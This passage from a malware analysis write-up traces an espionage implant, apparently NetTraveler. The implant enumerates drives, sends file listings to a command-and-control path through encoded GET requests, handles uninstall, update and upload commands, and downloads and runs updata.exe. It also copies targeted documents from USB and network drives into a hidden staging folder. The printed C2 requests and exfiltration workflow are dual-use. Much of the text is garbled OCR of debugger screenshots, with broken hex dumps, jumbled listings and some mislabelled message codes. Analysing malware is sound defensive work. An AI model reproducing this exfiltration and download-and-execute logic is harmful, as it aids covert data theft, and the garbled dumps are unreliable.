F&hostname=DESKTOP-2

Figure 66

As before, if everything works fine the file expects an HTTP response which contains "Success" string. The process is looking to delete a file called "C:\Windows\SysWOW64\dnlist.ini" which doesn't exist at this time. The file will be created and populated with the following data:



File stat_t.ini is deleted using DeleteFileA function and then it calls GetACP API which returns the current Windows ANSI code page identifier for the operating system. Because the value of ScanAll is True in dnlist.ini, the malware scans for all available disk drives using GetLogicalDrives API and then compares the type of them with 3 (DRIVE_FIXED) or 4 (DRIVE_REMOTE) using GetDriveTypeA API:



Let's suppose that "C:\" is the first drive found by the process. The file will enumerate all files and directories from the "C:\" drive and the directories name will be saved as dn (where n=1,2,3, ...) and the files name will be stored as fn (where n=1,2,3,...), together with filecount (total number of files) and dircount (total number of directories). All information described will be stored in a new file called "C:\Windows\SysWOW64\enumfs.ini":

📄 enum	fs.ini 🔀	
1	E [Computer]	
2	Name=DESKTOP-2	
3	Page=1252	
4	F [DESKTOP-2]	
5	d1=C:\	
6	-dircount=1	
7	E IC:\1	
8	dl=SRecycle Bin	
9	fl=SWINDE BACKUP DARTITION MARKER	
10	d2=706d7fdb2ede4d8e91	
11	d3=Boot	
12	f2=bootmgr	
13	f3=BOOTNXT	
14	f4=BOOTSECT_BAK	
15	d4=Documents and Settings	
16	d5=EFS Software	
17	f5=eula 1028 txt	
18	ff=eula 1031 tyt	
19	f7=eula 1033 tyt	
20	f8=eula 1036 tyt	
21	f9=eula 1040 tyt	
22	fl0=eula 1041 tyt	
22	fll=oula 1042 tyt	
24	f12=eula 2052 tyt	
25	f12=eula 3082 tyt	
26	fl4=globdata ini	
27	fl5=inctall ave	
28	fl6=install ini	
29	f17=install res 1028 dll	Figure 60
30	fl8=install res 1031 dl1	riguie 03
31	fl9=install res 1033 dl1	
32	f20=install.res.1036.dl1	
33	f21=install res 1040 dll	
34	f22=install.res.1041.dll	
35	f23=install.res.1042.dll	
36	f24=install.res.2052.dll	
37	f25=install.res.3082.dll	
38	d6=logs	
39	f26=pagefile.svs	
40	d7=PerfLogs	
41	d8=Program Files	
42	d9=Program Files (x86)	
43	d10=ProgramData	
44	dl1=Python27	
45	dl2=python27-x64	
46	d13=Recovery	
47	f27=StarBurn.log	
48	d14=Strawberry	
49	f28=swapfile.sys	
50	d15=System Volume Information	
51	d16=temp	
52	d17=Users	
53	f29=vcredist.bmp	
54	f30=VC RED.cab	
55	f31=VC RED.MSI	
56	d18=Windows	
57	dircount=18	
58	filecount=31	
59		

The operation applied to "C:\" drive is recursive and it's applied to each directory (all information will be appended to enumfs.ini). The following information is added/modified in dnlist.ini:

[EnumTime] DateTime = scan date [ScanList] ScanAll = False

The enumfs.ini file will be transferred to the C2 server via a GET request as before (compressed + encoded). The filename parameter has the following form: "FileList-<month><day>-<hour><minute> <second>.ini":

dword ptr	100 100 100 100 100 100 100 100	003689 5 003687 5 003687 5 003607 5 003601 5 003602 F 003602 F 003602 F 003600 F fastuserswitt erswitchingc	8 8 8 7 7 5 5 5 5 5 5 5 1 5 1 5 1 9 2 0 0 0 0 0 0 0 0 0 0 0 0 0	0 0 10 bilityex.&Ht /ex.dll:\$3600	push ebx push 80400 push ebx push ebx push ebx push ebx push dword call dword call dword call dword	100 ptr ss: [6 ptr ss: [6 ptr ds: [5 stA>]= <win< th=""><th>bp-4] ngcompa bp+10] &HttpO inet.Ht</th><th>atibility perReques tpOperRe</th><th>yex.100 stA>] equestA</th><th>></th><th>1000B1E8: "GET"</th></win<>	bp-4] ngcompa bp+10] &HttpO inet.Ht	atibility perReques tpOperRe	yex.100 stA>] equestA	>	1000B1E8: "GET"
Dump 1	Dump 2	Dump 3	Dump 4	💭 Dump 5	🧭 Watch 1	[x=] Local	0093	001C 00C	C0008 0B1E8	"GET"	
Address H, 00A3D978 2 00A3D988 6 00A3D988 6 00A3D988 6 00A3D988 3 00A3D988 3 00A3D988 3 00A3D958 2 00A3D958 2 00A3D958 2 00A3D958 2 00A3D48 5 00A3DA8 5 00A3D8 5 0 00A3D8 5 0 0000000000000000000000000000000000	ex E GE G5 77 74 62 7 7 7 69 73 74 69 9 32 2E 31 31 32 66 65 66 03 31 31 32 55 54 44 9 32 2E 31 11 32 35 57 54 43 9 57 56 43 9 57 56 43 9 57 56 43 9 64 44 79 0 44 44 79 0 44 47 70 64 54 52 1 74 20 90 44 44 79 0 64 54 55 51 51 54 35 52 1 74 20 36 54 35 52 1 74 20 36 36 36 36 36 36 36	73 69 6E 66 61 76 65 6C 64 30 41 32 61 60 65 3D 61 60 65 3D 36 38 2E 31 61 60 65 3D 33 2D 30 37 4 65 73 74 61 74 3D 62 65 69 63 59 54 65 55 42 61 65 55 42 61 61 45 50 51 40 54 76 45 45 57 54 46 45 57 54 45 46 57 54 45	6F 2F 31 31 6F 2E 61 43 39 41 44 44 45 36 48 68 6F 7.3 74 36 34 2E 31 36 34 2E 31 70 7.4 30 30 77 74 30 30 70 7.4 30 30 67 69 6E 34 61 5A 5.2 36 64 76 64 54 61 5A 5.2 36 64 76 64 54 61 5A 52 36 67 76 64 34 59 6A 30 67 59 6A 34 68 47 65 54 47 62 77 72 <t< td=""><td>6E 74 2F 6E 73 70 3F 68 32 46 26 20 47 70 3D 31 32 38 26 69 73 44 53 74 44 26 45 73 74 44 26 46 66 67 73 74 2E 69 73 74 44 2E 66 69 62 37 74 2E 63 64 69 62 63 64 53 52 43 48 55 52 43 48 55 52 43 48 53 55 55 55 55 68 71 64 67 75 59 55 55 68 62 44 48 42 68 62 44 48 42 68</td><td>ASCII //newsinfo/l ettraveler. ostid=A2c9A Aostname=DES 2 //none=Pes 2 //none=Fil -1123-07291 Afilestart= etext=begin Ai2Q2ebrgd XQaCiCYTaZR yWVCeUBAMIG (TSRQM)njxi At-yOEmQYjO PIGJCkZTGET iEaTdWTNlwr il8hEEhksql</td><td>Int/n asp?h D2F&h KTOP- tip=1 12&&f eList 0.ini 0&fil ::GwR ToZTk GRCKU MySUS MhqMq hjouY kmXXk GDDKL kknFI AVIAg</td><td> 0093 </td><td>0024 00A 0028 000 0020 000 0021 000 0032 000 00334 8044 0038 000 0034 8044 0038 000 00404 7633 0044 000 0044 000 0050 000 0054 000 0055 000 0055 000 0066 000 0066 000 0067 000 0070 000</td><td>3D 978 000000 000000 000000 000000 000000 0000</td><td>kernel32.GetF</td><td>ProcessHeap</td></t<>	6E 74 2F 6E 73 70 3F 68 32 46 26 20 47 70 3D 31 32 38 26 69 73 44 53 74 44 26 45 73 74 44 26 46 66 67 73 74 2E 69 73 74 44 2E 66 69 62 37 74 2E 63 64 69 62 63 64 53 52 43 48 55 52 43 48 55 52 43 48 53 55 55 55 55 68 71 64 67 75 59 55 55 68 62 44 48 42 68 62 44 48 42 68	ASCII //newsinfo/l ettraveler. ostid=A2c9A Aostname=DES 2 //none=Pes 2 //none=Fil -1123-07291 Afilestart= etext=begin Ai2Q2ebrgd XQaCiCYTaZR yWVCeUBAMIG (TSRQM)njxi At-yOEmQYjO PIGJCkZTGET iEaTdWTNlwr il8hEEhksql	Int/n asp?h D2F&h KTOP- tip=1 12&&f eList 0.ini 0&fil ::GwR ToZTk GRCKU MySUS MhqMq hjouY kmXXk GDDKL kknFI AVIAg	 0093 	0024 00A 0028 000 0020 000 0021 000 0032 000 00334 8044 0038 000 0034 8044 0038 000 00404 7633 0044 000 0044 000 0050 000 0054 000 0055 000 0055 000 0066 000 0066 000 0067 000 0070 000	3D 978 000000 000000 000000 000000 000000 0000	kernel32.GetF	ProcessHeap

The server response is expected to contain "Success:". The attacker is interested in the following types of files: .doc, .docx, .xls, .xlsx, .txt, .rtf, .pdf (Types parameter from dnlist.ini file). The malicious process tries to open uenumfs.ini which doesn't exist at this moment, and then enumerates the files found in

"C:\User<Username>\AppData\Local\Temp\ntvba00.tmp\". This specific directory will be created by Thread2 and will contain all files which have been selected to be exfiltrated to the C2 server:

■12 →	10004E21 50 10004E22 80 10004E28 50 10004E29 FF	85 88 FC FF	FF 10	push eax lea eax,dw push eax call dword	word ptr ss 1 ptr ds:[<	[ebp-348] &FindFirstFileA>]	eax: "C:\\Users\\ eax: "C:\\Users\\	x87SW_B 0 x87SW_C x87SW_C1 0 x87SW_C x87SW_SF 0 x87SW_P
	• 10004E2F 88	D8		mov ebx,ea	1X		ebx: "C: \\WINDOWS\\s)	Default (stdcall)
dword ptr [10009 .text:10004E29 f	084 <fastuserswite< td=""><td>chingcompatib ompatibilitye</td><td>x.dll:\$4E29</td><td>ndFirstFile</td><td>A>]=<kerne`< td=""><td>32.FindFirstFileA></td><td></td><td>1: [esp] 0093ED0C C 2: [esp+4] 0093EF14 3: [esp+8] 00000000 4: [esp+C] 00002C2C</td></kerne`<></td></fastuserswite<>	chingcompatib ompatibilitye	x.dll:\$4E29	ndFirstFile	A>]= <kerne`< td=""><td>32.FindFirstFileA></td><td></td><td>1: [esp] 0093ED0C C 2: [esp+4] 0093EF14 3: [esp+8] 00000000 4: [esp+C] 00002C2C</td></kerne`<>	32.FindFirstFileA>		1: [esp] 0093ED0C C 2: [esp+4] 0093EF14 3: [esp+8] 00000000 4: [esp+C] 00002C2C
Dump 1	ump 2 🔛 Dump 3	Dump 4	Dump 5	👹 Watch 1	[x=] Local	0093ECF8 0093ED0C 0093ECFC 0093EF14	"C:\\Users\\ \ \ AppData\\Local\\	<pre>\Temp\\ntvba00.tmp*.*"</pre>
Address Hex 0093ED0C 43 3A 5 0093ED1C 44 61 7 0093ED2C 6E 74 7	C 55 73 65 72 73 5 4 61 5C 4C 6F 63 6 62 61 30 30 2E	5C 5C 54 6 51 6C 5C 54 6 74 6D 70 5C 2	C 41 70 70 5 6D 70 5C A 2E 2A 00	ASCII C:\Users\ Data\Local\ ntvba00.tmp	App Temp	0093ED00 0000000 0093ED04 00002C2C 0093ED08 10016758 0093ED0C 555C3A43	"C:\\WINDOWS\\system32\\enumfs.ir	11"

Figure 71

Now the process contacts the C2 server again with the parameter "action=getdata". It expects one of the following responses: "A2C9AD2F:UNINSTALL", "A2C9AD2F:UPDATE", "A2C9AD2F:RESET" or "A2C9AD2F:UPLOAD" (note that "A2C9AD2F" is the volume serial number extracted a while ago):



Figure 72

Case 1: (UNINSTALL)

The following registry keys are deleted using RegDeleteKeyA API:

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum", "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters", "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security" and "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility". Also the process deletes enumfs.ini, dnlist.ini, "C:\WINDOWS\system32\udidx.ini", uenumfs.ini and stat_t.ini. One such call is displayed below:

ANIMA (• 1 • 1	000508A 000508B	50 53		push ea	x x				1	eax:"SYST	EM//Curre	ntControlSet	\\Service	×	87SW_SF	0 x875
EIP	*	00050BC	FF D7		call ed	4		*			edi:RegDe	leteKeyA		>	* De	fault (stde	ali)
edi= <advapt< th=""><th>0BC fastuse</th><th>eKeyA> (770</th><th>6102CO) compatibility</th><th>/ex.dll:\$5080</th><th>C #448C</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>1234</th><th>[esp] [esp+ [esp+ [esp+</th><th>80000002 4] 0093EF 3] 000000 2] 000020</th></advapt<>	0BC fastuse	eKeyA> (770	6102CO) compatibility	/ex.dll:\$5080	C #448C										1234	[esp] [esp+ [esp+ [esp+	80000002 4] 0093EF 3] 000000 2] 000020
Ump 1	Dump 2	Dump 3	Ump 4	Dump 5	🛞 Watch 1	x= Local	0093EC30 0093EC34	80000002 0093EF50	"SYSTEM\\	Current	controlse	t\\Servic	s\\FastUser	Switching	Comp	atibili	y\\Enum"

Figure 73

The C2 server is informed that the operation is complete by performing a GET request with "action=updated" parameter:

	53 68 00 01 40 80 53 53 53 50 66 <u>E8 B1 00 10</u> FF 75 F0 FF 15 <u>14 92 00 10</u> 38 C3 50 50 50 50 50 51 53 50 50 50 50 50 50 50 50 50 50	push ebx push 60400100 push ebx push ebx push ebx push ebx push dax push dword ptr ss: call dword ptr ds: cmp eax,ebx HttpDpenReguestA>]=cwin1	ingcompatibilityex.1000B1E ebp-10 «AHTtpDperRequestA»]	<pre>eax: "/newsinfo/lint/nettravel l000081E8: "GET" eax: "/newsinfo/lint/nettravel }</pre>	X8/IW_2 stempty) x1 x87TW_4 3 (Empty) x1 x87TW_6 3 (Empty) x1 x87StatusWord 0000 x87SW_8 0 x87SW_20 x87SW_C1 0 x87SW_20 x87SW_C1 0 x87SW_20 x87SW_51 0 x87SW_20 befault(stdcal) 1: [esp] 000C0008 2: [esp1 00CC0008
.text:10003D88 fastuserswitching	compatibilityex.dll:\$30	988 #3188	6y 0093AE6C 00CC0008		2: [esp+4] 0003C6A8 "/ 4: [esp+C] 00000000
ang Cump 1 ang Cump 2 ang Cump 2 ang Cump 3 Address Hex 0093C648 2E ¹ 6E 65 77 73 69 6E 60 0093C648 65 74 74 72 61 76 65 0093C628 67 74 74 69 6E 66 75 71 0093C608 73 74 69 64 3D 74 72 61 75 71 0093C608 73 74 69 64 3D 74 73 69 65 74 74 72 61 75 71 0093C608 73 74 69 64 3D 74 <th>6 6 7 2 2 0</th> <th>ASCII ASCII E /newsinfo/lint/n i etraveler.asp?a F ction=updated&ho ostid=A2C9AD2F</th> <th></th> <th>"GET" "/newsinfo/lint/nettraveler.asp?action</th> <th><pre>supdated&hostid=A2C9AD2F"</pre></th>	6 6 7 2 2 0	ASCII ASCII E /newsinfo/lint/n i etraveler.asp?a F ction=updated&ho ostid=A2C9AD2F		"GET" "/newsinfo/lint/nettraveler.asp?action	<pre>supdated&hostid=A2C9AD2F"</pre>
Figure 74					

Case 2: (UPDATE)

Same registry keys and files are deleted as described above. Moreover, there is a GET request to the Command and Control server using "action=datasize" parameter and the HTTP response is supposed to include "Success:" if everything works smoothly:

EIP dword ptr	[1000	10 10	003076 003077 003070 003070 003070 003076 003076 003080 003088 003088 003088 003088 003088	53 53 53 50 68 FF 7 FF 1 55 50 68 FF 7 55 50 68 FF 7 55 55 55 55 55 55 55 55 55 55 55 55 55	00 01 40	80 <u>10</u> <u>00 10</u> ibilityex.&	push push push push push call HttpOpenR	ebx 804 ebx ebx eax fas dwo dwo	00100 tuserswit rd ptr ss rd ptr ds estA>]= <w< th=""><th>tchingco :: ebp-1 :: <&Htt ininet.H</th><th>p0)</th><th>atibilitye penRequest pOpenReque</th><th>ex.1000B1 tA>] estA></th><th>E8</th><th>eax:"/newsinfo/lint, 1000Ble8:"GET"</th><th>/nettravel</th><th>x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x</th><th>7TW_6 7TW_6 7Stat 7SW_8 7SW_C 7SW_S ault (sb [esp [esp [esp</th></w<>	tchingco :: ebp-1 :: <&Htt ininet.H	p0)	atibilitye penRequest pOpenReque	ex.1000B1 tA>] estA>	E8	eax:"/newsinfo/lint, 1000Ble8:"GET"	/nettravel	x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x	7TW_6 7TW_6 7Stat 7SW_8 7SW_C 7SW_S ault (sb [esp [esp [esp
	103000	Tuscuse	Sarcennig	compe	LE I DI I I C	yexianiiisso	00 #3100				_							-6541 (J)
Ump 1		Dump 2	Dump 3		Dump 4	Dump 5	💮 Wat	ch 1	[x=] Local	ls 🚀 s		0093ABE0 0093ABE4	00CC0008 1000B1E8	GET"				
Address	нех						ASCII		1		~	0093ABE8	0093C41C	"/newsin	nfo/11nt/nettraveler.	asp?action=0	atas	size"
0093C41C	2E 6E	65 77 7	3 69 6E 66	6F 2	2F 31 31	6E 74 2F 6	E /newsir	ifo/1	lint/n			0093ABEC	00000000	2				
0093C42C	65 74	74 72 6	1 76 65 6C	65 7	72 2E 61	73 70 3F 6	1 ettrave	ler.	asp?a			0093ABF4	00000000	<u></u>				
0093C43C	63 74	69 6F 6	E 3D 64 61	74 6	51 73 69	7A 65 00 0	0 ction=0	latas	size			0093ARE8	80400100	5				
0093C44C	OD FA	83 77 0	0 00 00 00	60 7	D A3 00	00 00 00 0	.u.w		£			0093ABFC	00000000	0				

Figure 75

The malware is trying to download a file named updata.exe from the C2 server (this file not available for analysis, as the C2 server was down at the time of the analysis):

	10003D76 10003D77 10003D7C 10003D7C 10003D7E 10003D7E 10003D85 10003D85 10003D85	53 68 00 01 40 8 53 53 50 68 <u>E8 B1 00 1</u> FF 75 F0 FF 15 14 92 0 38 C3 50 50 50 50 50 50 50 50 50 50	0 0 0 10	push ebx push 80400 push ebx push ebx push ebx push ebx push ebx push fast push fast call dwor cmp eax,e	0100 userswitch d ptr ss: d ptr ds: bx	ingcomp; ebp-10 <mark>]</mark> <&HttpO	atibilitye penRequest	:x.1000B1E :A>]	8 eax:"/newsinfo/11nt//updata 1000B1E8:"GET" eax:"/newsinfo/11nt//updata
dword ptr [1000921	4 <fastuserswit< td=""><td>chingcompatib</td><td>ilityex.&Http</td><td>popenReques</td><td>tA>]=<wini< td=""><td>net.Htt</td><td>pOpenReque</td><td>estA></td><td></td></wini<></td></fastuserswit<>	chingcompatib	ilityex.&Http	popenReques	tA>]= <wini< td=""><td>net.Htt</td><td>pOpenReque</td><td>estA></td><td></td></wini<>	net.Htt	pOpenReque	estA>	
.text:10003D88 fas	tuserswitchingo	compatibilitye	x.dll:\$3D88 #	#3188					
Dump 1	ip 2 💭 Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	St	0093ABE4 0093ABE8	00CC0008 1000B1E8	"GET"
Address Hex			A	SCII		^	0093ABEC	0093C420	"/newsinfo/11nt//updata.exe"
0093C420 2F 6E 65	77 73 69 6E 66	6F 2F 31 31 6	E 74 2F 2E	newsinfo/11	Int/.		0093ABF0	00000000	
0093C430 2E 2F 75	70 64 61 74 61	2E 65 78 65 0	0 74 69 6F .	/updata.exe	e. t10		0093ABF8	00000000	
0093C450 00 00 00	00 60 2D A3 00	00 00 00 00 00	0 00 A0 00 .				0093ABFC	80400100	
Eiguro 76	00100 00 43 001		0 00 00 001	V f			0000000000	00000000	

Figure 76

The magic bytes of the downloaded file are compared to "MZ" (the format for executable, DLL files in Windows) and also it's looking for "PE" string at a specific offset as well. The downloaded file is saved as "C:\Windows\install.exe" and run by the malicious process:



The same request as in Figure 74 is performed once more in order to keep the server in the loop for every new step.

Case 3: (RESET)

The following files are deleted: enumfs.ini, dnlist.ini, "C:\WINDOWS\system32\udidx.ini", uenumfs.ini and stat_t.ini. Same request displayed in Figure 74 is used to contact the C2 server (this step is done in every case).

Case 4: (UPLOAD)

This case is identical to Case 2 (UPDATE) with the difference that no files/registry keys are deleted.

After the execution flow passes all cases, the process sleeps for 60 seconds and then it goes back in the loop.

Thread2 activity

RegisterClassA function is used to register a window class for use in CreateWindow/CreateWindowEx calls, it creates a windows using CreateWindowExA (windows class name is "NTMainWndClass", 0x8000000 – WS_POPUP style). Also, the window procedure used in RegisterClassA API call (sub_10004535) is called 5 times as follows (one for each type of message): 0x81 (WM_NCCREATE), 0x83 (WM_NCCREATE), 0x01 (WM_CREATE), 0x05 (WM_SIZE) and 0x03 (WM_SIZE). We should also mention the following calls:

ShowWindow (Sets the specified window's show state), UpdateWindow (it sends a WM_PAINT message to the window), GetMessage (gets a message from the calling thread's message queue) and TranslateMessage (translates messages into character messages):



The malware is interested in WM_DEVICECHANGE (0x219) messages with a parameter of DBT_DEVICEARRIVAL (0x8000) which means that for example a new USB drive has been plugged in or a network shared folder is mounted on the system:

dword ptr	r [word ptr	10004536 10004538 10004538 10004542 10004542 10004543 10004544 10004547 (ebp+10]=[0 serswitchin	55 85 85 85 85 85 85 85 85 85 85 85 85 8	80 00 00 ex.dll:\$454	push eb mov ebp sub esp cmp dwo push es push ed mov edi jne fas cmp dwo	p ,esp ,20 rd ptr ss: i ,dword ptr tuserswitch rd ptr ss:	ebp+C],219 ss:[ebp+14] ingcompatib ebp+10],800	ilityex.100	045BF	
Dump	1 Dump :	2 Ump	3 🗰 Dump 4	Ump 5	🛞 Watch 1	[x=] Locals	Struct	00AFEF80 1 00AFEF84 0	0004535 03705E4	fastuserswitchingcompatibilityex.10004535
Address	Hex			10 02 00 00	ASCII		^	00AFEF88 0 00AFEF8C F	468063C	
00AFEF88	00 80 00 00	00 00 00 00 0	E4 05 37 00 E4 05 37 00	CD AB BA DC	ā.	7.1«°Ü		00AFEF90 0	OAFEFEC	nature to uvthama 70317004 from 222

"USearch" and "UTypeLimit" values parsed from dnlist.ini are expected to be set to "True", also "UAuto" value is "False" in dnlist.ini (this could indicate if the exfiltration of the targeted files should be automatically or not). The attacker is also interested in "Types" parameter (the targeted extensions) and we'll see why in a bit. The idea is to scan each and every device inserted and also the network shares mounted on the host and create a "file system" structure in uenumfs.ini file (as it did in Thread1):



As in the first case, this search will apply for every directory found on the drive, recursively. The process creates a "C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\" directory and its attribute is set to hidden. The following file is also created: "C:\Windows\SysWOW64\uenumfs.ini" (the content of it will be similar to enumfs.ini):

EIP	● 10004C9 ● 10004C9 ■ 10004C9	4 6A 00 5 6 FF 15	E8 90 00 10	push 0 push esi call dword	ptr ds:[<&CreateD	irectoryA>]	esi:"C:\\Users\'	\\AppData\\Local	x87 x87	7TW_4 3 7TW_6 3
	10004C3 10004C4 10004C4 10004CA	85 C0 74 08 6A 06 56 FF 15 × EB 11	E0 90 00 10	test eax,ea je fastuser push 6 push esi call dword jmp fastuse	switchingcompatit ptr_ds:[<&SetFile rswitchingcompati	<pre>ilityex.10004CAC AttributesA>] bilityex.10004CBD</pre>	es1:"C:\\Users\\	\\AppData\\Loca1	x87 x87 x87 x87 Defa	rStatus rSW_B rSW_C1 rSW_SF
dword ptr	[100090E8 <fastuse 04C97 fastuserswitc</fastuse 	rswitchingc hingcompati	ompatibilityex.&	CreateDirectoryA	>]= <kerne132.crea< th=""><th>ceDirectoryA></th><th></th><th></th><th>1: 2: 3: 4: 5:</th><th>[esp] 1 [esp+4] [esp+8 [esp+C] [esp+1]</th></kerne132.crea<>	ceDirectoryA>			1: 2: 3: 4: 5:	[esp] 1 [esp+4] [esp+8 [esp+C] [esp+1]
Ump 1	Dump 2	imp 3 👹 D	ump 4 🔛 Dump 5	🛞 Watch 1 🛛 🕅	=l Locals 🛛 🐉 Struct	00AFED2C 10015F98	"C:\\Users\'	ta\\Local\\Temp\\ntv	baoo.	tmp\\"

Figure 81

For each file found on the USB drive/network share, the process compares it's extension with the list mentioned before: .doc, .docx, .xls, .xlsx, .txt, .rtf, .pdf:



Figure 82

Let's suppose that "C:\eula.1028.txt" (for the sake of simplicity) is a targeted file. The malware calculates a hash (MD5) of a combination between the filename and last modified timestamp (please note the initialize variables which correspond to MD5 algorithm):

EIP	• 1 • 1 • 1 • 1 • 1 • 1 • 1	0008983 0008988 0008988 0008990 0008991 0008994 0008995 0008995	E8 27 F5 FF 8D 85 74 FF 8B CE 50 8D 45 F0 50 E8 BE F5 FF 33 FF 8D 75 CC	FF FF FF	call fa lea eax mov ecx push ea lea eax call fa xor edi lea esi	stuserswitc ,dword ptr ,esi X ,dword ptr X stuserswitc ,edi ,dword ptr	hingcompati ss:[ebp-8C] ss:[ebp-10] hingcompati ss:[ebp-34]	bilityex.10 bilityex.10	007EAF	
fastuserswi	tchingcompa	tibilityex.	10007EAF				-			,
.text:10008	983 fastuse	erswitchingc	ompatibility	ex.dll:\$898	3 #7083					
Dump 1	Ump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct	00AFE1A4 0	OAFE188	"eula.1028.txt 2007-11-07 12:00:40:000"
Figure 8	3				ASCTT			00AFE1AC	0000025	
🚺 🔏 🔛	-									
.text:1	0007E85									
.text:1	0007E85									
.text:1	0007E85									
.text:10	0007E85	sub 10007	7E85 proc	near						

After the function is finished the following result will represent the hash (unique identifier) corresponding to eula.1028.txt file:



Now "C:\eula.1028.txt" is copied to "C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\U2007-11-07-12-00-5f7a78e7927532ba2a930ec8d47e252a.txt" (hidden file) – 2007 (year), 11 (month), 07 (day), 12 (hour), 00 (minute), 5f7a78e7927532ba2a930ec8d47e252a is the hash computed above (all values correspond to last modified timestamp):

BIB	 10004A 10004A 10004A 10004A 10004A 	43 6A 00 45 50 46 8D 85 6C F 4C 50 FF 15 E4 9	8 FF FF lea eax, d 0 00 10 call dwor	word ptr ss:[ebp-794] d ptr ds:[<&CopyFileA>]			x87StatusWord 0020 x87SW_B 0 x87SW_C3 0 x87SW_C1 0 x87SW_C0 0 x87SW_SF 0 x87SW_P 1
	10004A	53 85 CO	test eax.	eax		>	Default (stdcall) 1: [esp] 00AFE580 "C:\\e
.text:100	04A4D fastuserswit	chingcompatibility	yex.dll:\$4A4D #3E4D	ernel32.CopyFileA>			2: [esp+4] 00AFE88C "C:\ 3: [esp+8] 00000000 4: [esp+C] 76528E60 <msv 5: [esp+10] 765245B0 <msv< td=""></msv<></msv
Dump 1	Ump 2	Dump 3 🛛 🗰 Dump 4	00AFE244 00AFE580 00AFE248 00AFE88C 00AFE24C 0000000	"C:\\eula.1028.txt" "C:\\Users\\\\\AppData\\Local\\Temp	\\ntvba00.tmp\\U2007-11-07-12-00-5f7a	78e79275	32ba2a930ec8d47e252a.txt"

Figure 86

.text:10007E85

.text:10007E85 .text:10007E85 mov

.text:10007E89 and

.text:10007E8D and .text:10007E91 mov

.text:10007E97 mov .text:10007E9E mov

.text:10007EA5 mov

.text:10007EAC

.text:10007EAC retn

.text:10007E85 arg_0= dword ptr 4

.text:10007EAC sub_10007E85 endp

4

eax, [esp+arg_0]

dword ptr [eax+14h], 0

dword ptr [eax+10h], 0

dword ptr [eax], 67452301h dword ptr [eax+4], 0EFCDAB89h

dword ptr [eax+8], 98BADCFEh

dword ptr [eax+0Ch], 10325476h

The process creates "C:\Windows\SysWOW64\udidx.ini" file and will add all hashes computed as explained before:

EIP		0004A71 0004A76 0004A77 0004A78	68 <u>50 83 00</u> 50 57 FF 15 <u>A0 90</u> FE 05 6C 70	10 00 10 01 10	push fa push ea push ed call dw	stuserswitc x i ord ptr ds: rd ptr ds:	hingcompatibi	lityex.1000B3	50 ngA>]	eax: "5f7a78e7927532ba2a930ec8d47e25 edi : "Index"	x875 x875 x875	W.
	•				a ad 112 202	15 521 511)			1	>	Defaul	lt (
dword ptr	[100090A0 <f 4A78 fastuse</f 	astuserswit rswitchingc	chingcompati ompatibility	bilityex.&W ex.dll:\$4A7	ritePrivateF 8 #3E78	ProfileStrin	ngA>]= <kernel< th=""><th>32.WritePrivat</th><th>eProfileStr:</th><th>ingA></th><th>1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1</th><th>eses</th></kernel<>	32.WritePrivat	eProfileStr:	ingA>	1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1: 1	eses
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct	00AFE2 00AFE2	40 1000B7DC 44 00AFE788	"Index" "5f7a78e7927532ba2a930ec8d47e252a"		
Address Ho 1000B350 3	ex 1 00 00 00 2	5 73 5C 73	79 73 74 65	6D 5C 63 6F	ASCII	tem\co		00AFE2 00AFE2 00AFE2	48 1000B350 4C 1001609C	fastuserswitchingcompatibilityex.10 "C:\\WINDOWS\\system32\\udidx.ini"	000B35	0

Figure 87

Last modified timestamp of the new file is set as the value extracted from the initial file:

	7-12-00-5f7a78e7927532ba2a930ec8d47e252a.txt	
Type of file:	TXT File (.txt)	
Opens with:	Votepad++ : a free (GN Change	
Location:	C:\Users\\\AppData\Local\Temp\ntvba00.tmp	
Size:	17.3 KB (17,734 bytes)	
Size on disk:	20.0 KB (20,480 bytes)	Figure 8
Created:	Today, November 23, 2020, 9 minutes ago	
Modified:	Wednesday, November 7, 2007, 7:00:40 AM	
Accessed:	Today, November 23, 2020, 9 minutes ago	
Attributes:	Read-only Hidden Advanced	

An example of udidx.ini file after copying all document-related files is shown in the figure below:

📄 udid	x.ini 🗵	
1	[Index]	
2	5f7a78e7927532ba2a930ec8d47e252a=1	
3	8051bb8bb7e75ce323f9ac3130b9f2d6=1	
4	31c4c5f0e9ab51df330927a970477ed8=1	
5	5ff15da90ea9017cc89939520088609b=1	Figure 89
6	7c3592c0b232d950ae61531454e0d10e=1	
7	cb55b8c4b9a5ddae8978eb7adlef72c6=1	
8	f5286c0d3583f7e36b9fb6cc98d9555d=1	
9	45bcb34006b6444e60446eac8905b0b9=1	
10	9d3398ae0e3a4c1ab9ad18b4bc9e9369=1	
11		

Finally the file is using DefWindowProcA API to ensure that window messages the application does not process have a default processing function (WM_DEVICECHANGE – 0x219, DBT_DEVICEARRIVAL – 0x8000):

	1.	0004585			much add						
	. 1	0004566	EE 75 10		push dw	and otr ss:	Tehn+101				
	• 1	00045C3	FF 75 0C		push dwo	ord ptr ss:	ebp+C				
	• 1	00045C6	FF 75 08		push dwo	ord ptr ss:	ebp+8				
EIP		0004509	FF 15 EO 91	00 10	call dwo	ord ptr ds:	<pre>[<&NtdllDefw</pre>	indowProc_A>			
	• <										>
dword ptr	[100091E0 <f< th=""><th>astuserswit</th><th>chingcompati</th><th>bilityex.&N</th><th>tdllDefwindo</th><th>wProc_A>]=-</th><th>antdll.NtdllD</th><th>efwindowProc.</th><th>A></th><th></th><th></th></f<>	astuserswit	chingcompati	bilityex.&N	tdllDefwindo	wProc_A>]=-	antdll.NtdllD	efwindowProc.	A>		
and the second											
.text:10004	45C9 fastuse	rswitchingc	ompatibility	ex.dll:\$450	9 #3909						
